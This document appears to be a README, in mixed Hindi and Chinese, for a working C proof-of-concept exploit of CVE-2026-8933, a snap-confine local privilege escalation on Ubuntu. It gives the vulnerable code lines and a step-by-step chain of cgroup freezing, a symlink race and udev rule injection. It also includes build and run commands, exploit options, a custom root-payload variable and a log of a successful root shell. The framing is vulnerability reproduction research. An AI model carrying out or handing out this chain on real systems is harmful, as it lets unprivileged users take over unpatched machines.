
CVE-2026-8933 के लिए C प्रूफ़-ऑफ़-कॉन्सेप्ट, जो cgroup फ़्रीज़िंग, सिमलिंक रेस और udev नियम इंजेक्शन का उपयोग करके root के रूप में कमांड निष्पादित करने वाला snap-confine स्थानीय विशेषाधिकार उन्नयन है।
Qualys 公告《set-capabilities 版本 snap-confine 中的本地权限提升》的复现(https://cdn2.qualys.com/advisory/2026/07/21/snap-confine-set-capabilities.txt)。
इस मशीन (Ubuntu 25.10 / snapd 2.73+ubuntu25.10.1 / कर्नेल 6.17) पर वास्तविक परीक्षण: uid 1000 से
शुरू करके, अंततः systemd-udevd द्वारा root के रूप में कमांड निष्पादित हुआ, /tmp/pwned को
uid=0(root) gid=0(root) groups=0(root) प्राप्त हुआ, जो सलाहकार में अंतिम प्रदर्शन के प्रभाव के समान है।
पुनरुत्पादन प्रक्रिया के दौरान आई कठिनाइयों का रिकॉर्ड, और पहली बार मूल्यांकन में "शोषणीय नहीं" का गलत निर्णय क्यों लिया गया, इसके लिए देखें NOTES.md।
| फ़ाइल | विवरण |
|---|---|
poc.c | पूर्ण PoC (एकल फ़ाइल) |
Makefile | निर्माण (सिस्टम में स्थापित libfuse3.so.3.17.4 को लिंक करता है) |
include/ | libfuse3 3.17.4 हेडर फ़ाइलें (सिस्टम रनटाइम लाइब्रेरी से मेल खाती हैं) |
NOTES.md | कठिनाइयों का रिकॉर्ड + पहुँच-विश्लेषण कार्यप्रणाली की समीक्षा |
cmd/snap-confine/mount-support.c (snapd 2.73):
sc_bootstrap_mount_namespace() // 第 475 行起
479: mkdtemp("/tmp/snap.rootfs_XXXXXX") <- 目录先归调用者所有
491: sc_do_mount(scratch, scratch, NULL, MS_BIND)
498: sc_do_mount("none", scratch, NULL, MS_UNBINDABLE)
503: sc_do_mount("none", scratch, "tmpfs", ...)
504: sc_replicate_base_rootfs(scratch, rootfs_dir, mounts)
sc_replicate_base_rootfs()
330: chown(scratch, 0, 0)
418: fd = open(full_path, O_CREAT | O_TRUNC, 0644) <- 缺少 O_NOFOLLOW
422: fchown(fd, 0, 0)
पंक्ति संख्याएँ स्थानीय snapd 2.73 के स्रोत कोड (cmd/snap-confine/mount-support.c) से ली गई हैं। Qualys
का परामर्श अपनी फ़ाइल की प्रति का हवाला देता है, जिसमें संबंधित पंक्ति संख्याएँ 511 / 523 / 530 / 535 / 536 /
362 / 450 / 454 हैं —— कथन एक-से-एक मेल खाते हैं, केवल पंक्ति संख्याएँ भिन्न हैं।
इस मशीन पर /usr/lib/snapd/snap-confine का mode=755 + file capabilities है (setuid-root नहीं), इसलिए यह हमलावर के euid के रूप में चलता है, फिर भी लगभग root की क्षमताएँ रखता है: इसके द्वारा बनाई गई निर्देशिकाएँ और
फ़ाइलें थोड़े समय के लिए हमलावर की होती हैं, और पंक्ति 418 का open() सिम्लिंक का अनुसरण करता है।
डिसअसेम्बली से पुष्टि: स्थानीय open@plt का फ़्लैग बिट 0x240 है (O_CREAT|O_TRUNC, O_NOFOLLOW
रहित); ठीक किए गए 2.77.1 में उसी स्थान पर यह 0x20240 है।
systemd-run --user --scope --unit=snap.<snap>.<app>। यह scope वर्तमान उपयोगकर्ता का है, cgroup.freeze लिखने योग्य है,
इसलिए snap-confine को एक-एक सिस्टम कॉल करके आगे बढ़ाया जा सकता है।SNAPD_DEBUG=1 होता है तो snap-confine
associated snap application process ... with device cgroup प्रिंट करता है। यह पंक्ति
डिवाइस cgroup के BPF प्रोग्राम attach होने के बाद और mkdtemp() से पहले आती है। इससे पहले फ़्रीज़ नहीं कर सकते:
freeze trap मौजूद होने पर BPF verifier EAGAIN लौटाता है, और snap-confine सीधे बाहर निकल जाता है।
stderr एक pty से जुड़ा है (पाइप से नहीं): अन्यथा stdio ब्लॉक-बफ़र्ड हो जाता है और marker अक्सर
mkdtemp() और bind mount के बाद ही फ़्लश होता है।
इसके अलावा scope CPUQuota=1% के साथ शुरू होता है: marker से mkdtemp() तक केवल कुछ सौ माइक्रोसेकंड का
CPU समय है, जो कैप्चर प्रक्रिया की जागृति विलंब के समान क्रम का है; थ्रॉटलिंग इस विंडो को वास्तविक समय में
मिलीसेकंड स्तर तक खींच देती है, और फ़्रीज़ की पुष्टि होते ही cpu.max को तुरंत 100% पर बहाल कर दिया जाता है।mount(2) लक्ष्य
पथ में सिम्लिंक का अनुसरण करता है, इसलिए snap-confine के bind/unbindable/tmpfs सभी
<scratch>.dA पर पहुँच जाते हैं, जबकि कॉपी लूप अभी भी scratch निर्दिका इस स्ट्रिंग का उपयोग करता है।ns_mount_count(sc, .dA) >= 2), फिर सिम्लिंक को
<scratch>.dB की ओर पुनः इंगित करें, और dB में base rootfs की शीर्ष-स्तरीय सामान्य फ़ाइलों के समान नाम वाले सिम्लिंक रखें,
जो /run/udev/rules.d/97-cve-2026-8933-<pid>-<rand>.rules की ओर इंगित करें। इस समय कॉपी लूप
का पथ विश्लेषण dB पर पहुँचता है —— एक सामान्य निर्दिका जिसे हम पूरी तरह नियंत्रित कर सकते हैं। tmpfs dA में छोड़ दिया जाता है और अब
हमें बाधित नहीं करता।
ध्यान दें: .dA पर जब केवल 1 माउंट हो तो वह bind mount होता है (/tmp स्वयं tmpfs है, bind के बाद
fstype अभी भी tmpfs रहता है), पुनः इंगित करने के लिए दूसरे माउंट (वास्तविक tmpfs) के प्रकट होने की प्रतीक्षा करनी होगी, अन्यथा
snap-confine का mount --make-unbindable इसलिए EINVAL देगा क्योंकि पथ अब माउंट रूट नहीं है।open(O_CREAT|O_TRUNC) निष्पादित करता है (सिम्लिंक का अनुसरण करते हुए, root के रूप में /run/udev/rules.d
के अंतर्गत फ़ाइल बनाता है), फिर fchown(fd,0,0)। इस क्षण फ़ाइल अभी भी हमारी है। PoC एक साथ
दो उपाय अपनाता है:
stat() फ़ाइल
देखता है और uid अभी भी अपना है, तुरंत chmod 0666 + udev नियम लिखें (इस समय snap-confine
फ़्रीज़ है, विंडो "खोली" जा रही है);chmod() हॉट लूप के साथ उसी विंडो पर कब्ज़ा करने का प्रयास करती हैं। spinner के कब्ज़ा करने
के बाद फ़ाइल root की होती है लेकिन मोड 0666 होता है —— मोड बिट fchown(0,0) के बाद भी
बने रहते हैं, इसलिए मुख्य पथ भी उसे लिख सकता है (कोड में जाँच "लिख सकते हैं या नहीं" है, "स्वामी हैं या नहीं" नहीं)।/run/udev/** rw की अनुमति देता है।
FUSE फ़ाइल सिस्टम को माउंट/अनमाउंट करने पर कर्नेल bdi सबसिस्टम के लिए add uevent जारी करता है,
और systemd-udevd तुरंत root के रूप में नियम में PROGRAM= निष्पादित करता है।make
./poc --diagnose # 只读自检,不改动任何系统状态
./poc # exploit,默认最多 5 次尝试
./poc --attempts 8 # 增加尝试次数
./poc --file default256.png # 只用 base rootfs 里的这一个普通文件
sudo ./poc --cleanup # 清理(仅在异常中断留下残留时需要)
पैरामीटर:
| पैरामीटर | विवरण |
|---|---|
--snap NAME | किस snap का rootfs उपयोग करना है (डिफ़ॉल्ट firefox, पर्यावरण चर CVE8933_SNAP भी उपयोग किया जा सकता है) |
--app NAME | उस snap का app (डिफ़ॉल्ट रूप से meta/snap.yaml में apps: के अंतर्गत पहला लिया जाता है) |
--file NAME | base rootfs में केवल इस एक सामान्य फ़ाइल का उपयोग करें; मेल न खाने पर त्रुटि के साथ बाहर निकलें |
--attempts N | प्रयासों की संख्या (डिफ़ॉल्ट 5) |
--step US / --step2 US | दो चरणों में प्रति स्लाइस CPU समय (माइक्रोसेकंड), डिबगिंग के लिए |
--keep | <scratch>.dA / .dB निर्देशिकाएँ और सिमलिंक रखें (डिबगिंग के लिए) |
--diagnose | केवल-पढ़ने वाला स्व-जाँच |
--cleanup | पुराने अवशेषों को साफ़ करें (root आवश्यक) |
लॉग /tmp/cve8933.log में लिखा जाता है, snap-confine का डिबग आउटपुट
/tmp/cve8933-debug.txt में लिखा जाता है।
CVE8933_PAYLOAD_CMD='<shell कमांड>' से payload का मुख्य भाग बदला जा सकता है (अन्य
root कमांड निष्पादित करने के प्रदर्शन के लिए), इस स्थिति में स्वचालित सफ़ाई नहीं होगी; कस्टम कमांड को अभी भी /tmp/pwned में लिखना होगा, अन्यथा PoC
मानेगा कि इस बार सफलता नहीं मिली।
$ ./poc
[+] WIN: uid=0(root) gid=0(root) groups=0(root)
[+] exploit succeeded, evidence in /tmp/pwned
/tmp/cve8933.log में संबंधित एक सफल प्रक्रिया (2026-10-23, परिवर्तन के बाद पुनः परीक्षण):
[ 0.256] === attempt 1/5 ===
[ 1062.158] marker seen after 750.5 ms
[ 1067.530] scratch dir /tmp/snap.rootfs_oFBraI replaced by a symlink to ...dA
[ 1100.887] bind mount + tmpfs on ...dA after 417 slices
[ 1100.974] scratch directory now points to ...dB with 4 symlinks -> ...rules
[ 1108.782] took the file over while snap-confine was stopped (242 slices)
[ 1108.820] rule written after 797.1 ms
[ 1108.832] target: uid=0 gid=0 mode=0666 size=73 content="ACTION=="add", ..."